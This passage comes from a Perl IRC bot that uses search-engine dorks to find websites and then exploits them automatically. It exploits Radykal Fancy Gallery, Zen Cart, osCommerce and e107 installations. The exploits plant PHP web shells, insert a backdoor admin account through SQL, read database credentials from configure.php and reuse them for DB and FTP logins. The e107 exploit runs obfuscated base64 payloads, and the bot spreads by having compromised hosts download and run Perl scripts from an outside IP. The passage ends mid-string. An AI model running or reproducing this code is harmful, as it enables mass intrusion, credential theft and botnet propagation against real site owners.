  650. if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
  651. if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
  652. if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
  653. if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
  654. if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
  655. if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
  656. if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
  657. if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
  658. if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
  659. if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
  660. if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
  661. if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
  662. if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
  663. if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
  664. if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
  665. if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
  666. if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
  667. if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
  668. if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
  669. if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
  670. if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
  671. if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
  672. if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
  673. if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
  674. if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
  675. if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
  676. if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
  677. if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
  678. if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
  679. if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
  680. if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
  681. if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
  682. if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
  683. if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
  684. if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
  685. if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
  686. }
  687. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
  688. if ($gps2 ==1) {
  689. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
  690. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
  691. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
  692. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
  693. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
  694. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
  695. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
  696. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
  697. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
  698. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
  699. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
  700. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
  701. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
  702. }
  703. }
  704.  
  705.  
  706. ###### EXPLOITING #######
  707. sub rfg_exploit() {
  708. my $chan = $_[0];
  709. my $bugz = $_[1];
  710. my $simpan = $_[2];
  711. my $dork = $_[3];
  712. my $engine = $_[4];
  713. my $count = 0;
  714. my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$rfglogo);
  715. my $num = scalar(@totexploit);
  716. if ($num > 0){
  717. foreach my $site(@totexploit){
  718. $count++;
  719. if ($count == $num-1) { &msg("$chan","$rfglogo $engine Finished for $dork "); }
  720. my $test = "http://garguritos.com/rfg.php?url=http://".$site;
  721. my $html = &get_content($test);
  722. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  723. my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/";
  724. if ($html =~ /<a href=\"http:\/\/(.*)$vpath(.*)\">Your shell/){
  725. my $vuln = $1; my $qr = $2;
  726. my $upl = "http://".$vuln.$vpath.$qr."wget%20".$thumbshell;
  727. my $crut = &get_content($upl);
  728. if ($crut =~ /3xploit/) {
  729. my $shell = "http://".$vuln.$vpath."bad.php";
  730. my $check = &get_content($shell);
  731. if ($check =~ /stunshell/i){
  732. my $safe = ""; my $os = ""; my $uid = "";
  733. if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  734. if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  735. if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  736. &msg("$admin","$rfglogo $engine <=> sHeLL <=> ".$shell." (SafeMode=$safe) (OS=$os) uid=$uid ");
  737. &msg("$chan","$rfglogo $engine <=> sHeLL <=> ".$shell." (SafeMode=$safe) (OS=$os) uid=$uid ");
  738. } else {
  739. &msg("$chan","$rfglogo $engine <=> VulN <=> http://".$vuln.$vpath.$qr." 15");
  740. }
  741. }
  742. }
  743. } exit; }
  744. }
  745. }
  746. }
  747.  
  748. sub zen_exploit() {
  749. my $chan = $_[0];
  750. my $bug = $_[1];
  751. my $simpan = $_[2];
  752. my $dork = $_[3];
  753. my $engine = $_[4];
  754. my $count = 0;
  755. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  756. my $num = scalar(@totexploit);
  757. if ($num > 0){
  758. foreach my $site(@totexploit){
  759. $count++;
  760. if ($count == $num-1) { &msg("$chan","$zenlogo $engine Finished for $dork "); }
  761. my $test = "http://".$site.$bug;
  762. my $html = &get_content($test);
  763. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  764. if ($html =~ /zc_install/){
  765. &zen_query($chan,$site,$test,$engine);
  766. }
  767. } exit; }
  768. }
  769. }
  770. }
  771.  
  772. sub zen_query() {
  773. my $chan = $_[0];
  774. my $url = $_[1];
  775. my $test = $_[2];
  776. my $engine = $_[3];
  777. my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
  778. my $req = HTTP::Request->new(POST => $test);
  779. $req->content_type("application/x-www-form-urlencoded");
  780. $req->content("query_string=".$code);
  781. my $ua = LWP::UserAgent->new(agent => $uagent);
  782. $ua->timeout(3);
  783. my $res = $ua->request($req);
  784. my $data = $res->as_string;
  785. if ( $data =~ /1 statements processed/i ) {
  786. &msg("$chan","$zenlogo $engine <=> VulN <=> http://".$url."admin/login.php ");
  787. &msg("$admin","$zenlogo $engine <=> VulN <=> http://".$url."admin/login.php ");
  788. }
  789. elsif ( $data =~ /Duplicate entry/i ) {
  790. &msg("$chan","$zenlogo $engine <=> SuccesS <=> http://".$url."admin/login.php )");
  791. &msg("$admin","$zenlogo $engine <=> SuccesS <=> http://".$url."admin/login.php ");
  792. }
  793. }
  794.  
  795. sub osco_exploit() {
  796. my $chan = $_[0];
  797. my $bug = $_[1];
  798. my $simpan = $_[2];
  799. my $dork = $_[3];
  800. my $engine = $_[4];
  801. my $count = 0;
  802. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  803. my $num = scalar(@totexploit);
  804. if ($num > 0){
  805. foreach my $site(@totexploit){
  806. $count++;
  807. if ($count == $num-1) { &msg("$chan","$oscologo $engine Finished for $dork "); }
  808. my $cat = "http://".$site."admin/categories.php/login.php";
  809. my $fm = "http://".$site."admin/file_manager.php/login.php";
  810. my $bm = "http://".$site."admin/banner_manager.php/login.php";
  811. my $shell = "http://".$site."images/lobex.php";
  812. my $dumper = "http://".$site."images/lobexdb.php";
  813. my $coba = &get_content($cat);
  814. my $cob2 = &get_content($fm);
  815. my $cob3 = &get_content($bm);
  816. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  817. if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  818. my $test = $cat."?action=download&filename=/includes/configure.php";
  819. my $cek = &get_content($test);
  820. if ($cek =~ /http:\/\//) {
  821. &osql_xpl($test,$chan,$site,$engine);
  822. }
  823. my $aplod = LWP::UserAgent->new;
  824. my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  825. my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string;
  826. my $cekap = &get_content($shell);
  827. if ($cekap =~ /UnKnown - Simple Shell/) {
  828. my $safe = ""; my $os = ""; my $uid = "";
  829. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  830. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  831. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  832. &msg("$chan","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  833. &msg("$admin","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  834. &msg("$chan","$oscologo $engine <=> Dumper <=> $dumper ");sleep(1);
  835. }
  836. }
  837. if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
  838. my $test2 = $fm."?action=download&filename=/includes/configure.php";
  839. my $cek2 = &get_content($test2);
  840. if ($cek2 =~ /http:\/\//) {
  841. &osql_xpl($test2,$chan,$site,$engine);
  842. }
  843. my $aplod2 = LWP::UserAgent->new;
  844. my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
  845. my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string;
  846. my $cekap = &get_content($shell);
  847. if ($cekap =~ /UnKnown - Simple Shell/) {
  848. my $safe = ""; my $os = ""; my $uid = "";
  849. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  850. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  851. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  852. &msg("$chan","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  853. &msg("$admin","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  854. &msg("$chan","$oscologo $engine <=> Dumper <=> $dumper ");sleep(1);
  855. }
  856. }
  857. if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
  858. my $test3 = $bm."?action=download&filename=/includes/configure.php";
  859. my $cek3 = &get_content($test3);
  860. if ($cek3 =~ /http:\/\//) {
  861. &osql_xpl($test3,$chan,$site,$engine);
  862. }
  863. my $aplod3 = LWP::UserAgent->new;
  864. my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
  865. my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string;
  866. my $cekap = &get_content($shell);
  867. if ($cekap =~ /UnKnown - Simple Shell/) {
  868. my $safe = ""; my $os = ""; my $uid = "";
  869. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  870. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  871. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  872. &msg("$chan","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  873. &msg("$admin","$oscologo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  874. &msg("$chan","$oscologo $engine <=> Dumper <=> $dumper ");sleep(1);
  875. }
  876. }
  877. } exit;
  878. }
  879. }
  880. }
  881. }
  882.  
  883. sub osql_xpl() {
  884. my $url = $_[0];
  885. my $chan = $_[1];
  886. my $site = $_[2];
  887. my $engine = $_[3];
  888. my $request = HTTP::Request->new(GET=>$url);
  889. my $browser = LWP::UserAgent->new();
  890. $browser->timeout(10);
  891. my $response = $browser->request($request);
  892. my @dbsinfo;
  893. if ($response->is_success) {
  894. my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";
  895. my $res = $response->as_string;
  896. if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
  897. $dpath = $1;
  898. &msg("$chan","$oscosqllogo $engine <=> http://".$site." [+]DIR path: $dpath");
  899. }
  900. if ($res =~ m/'DB_SERVER', '(.*)'/g) {
  901. $dbserver = $1;
  902. &msg("$chan","$oscosqllogo $engine <=> http://".$site." [+]DB Server: $dbserver");
  903. }
  904. if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
  905. $dbuser = $1;
  906. &msg("$chan","$oscosqllogo $engine <=> http://".$site." [+]DB username: $dbuser");
  907. }
  908. if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
  909. $dbpass = $1;
  910. &msg("$chan","$oscosqllogo $engine <=> http://".$site." [+]DB password: $dbpass");
  911. }
  912. if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
  913. $dbname = $1;
  914. &msg("$chan","$oscosqllogo $engine <=> http://".$site." [+]DB database: $dbname");
  915. }
  916. my $hosts = "http://".$site;
  917. if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  918. $host = $2;
  919. &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);
  920. if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
  921. &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);
  922. }
  923. }
  924. }
  925.  
  926. sub e107_exploit() {
  927. my $chan = $_[0];
  928. my $bug = $_[1];
  929. my $simpan = $_[2];
  930. my $dork = $_[3];
  931. my $engine = $_[4];
  932. my $count = 0;
  933. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  934. my $num = scalar(@totexploit);
  935. if ($num > 0){
  936. foreach my $site(@totexploit){
  937. $count++;
  938. if ($count == $num-1) { &msg("$chan","$e107logo $engine Finished for $dork "); }
  939. my $test = "http://".$site.$bug;
  940. my $shellz = "http://".$site."/images/lobex.php";
  941. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  942. my $html = &e107_rce_query($test,$code);
  943. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  944. if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  945. my $sys = $1;
  946. my $upload = "";
  947. my $res = &e107_rce_query($test);
  948. if ($res =~ /lobexxx/) {
  949. my $check = &get_content($shellz);
  950. if ($check =~ /UnKnown - Simple Shell/) {
  951. &msg("$chan","$e107logo $engine <=> SheLL <=> $shellz ");sleep(2);
  952. }
  953. } else { &msg("$chan","$e107logo $engine <=> System <=> $test ($sys) ");sleep(2); }
  954. }
  955. } exit; }
  956. }
  957. }
  958. }
  959.  
  960. sub e107_rce_query() {
  961. my $url = $_[0];
  962. my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2ltYWdlcy9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOwo=";
  963. my $req = HTTP::Request->new(POST => $url);
  964. $req->content_type('application/x-www-form-urlencoded');
  965. $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  966. my $ua = LWP::UserAgent->new(agent => $uagent);
  967. $ua->timeout(7);
  968. my $res = $ua->request($req);
  969. return $res->content;
  970. }
  971.  
  972. sub e107_spread_query() {
  973. my $url = $_[0];
  974. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3O2NkIC90bXA7cm0gLXJmIGRvci4qICoudHh0Lio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveG1sLnR4dDtwZXJsIHhtbC50eHQ7Y2QgL3Zhci90bXA7cm0gLXJmIGRvci4qICouanBnLio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveHBsLnR4dDtwZXJsIHhwbC50eHQ7IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOw0KZnVuY3Rpb24gZXgoJGNmZSl7DQokcmVzID0gJyc7DQppZiAoIWVtcHR5KCRjZmUpKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCkBleGV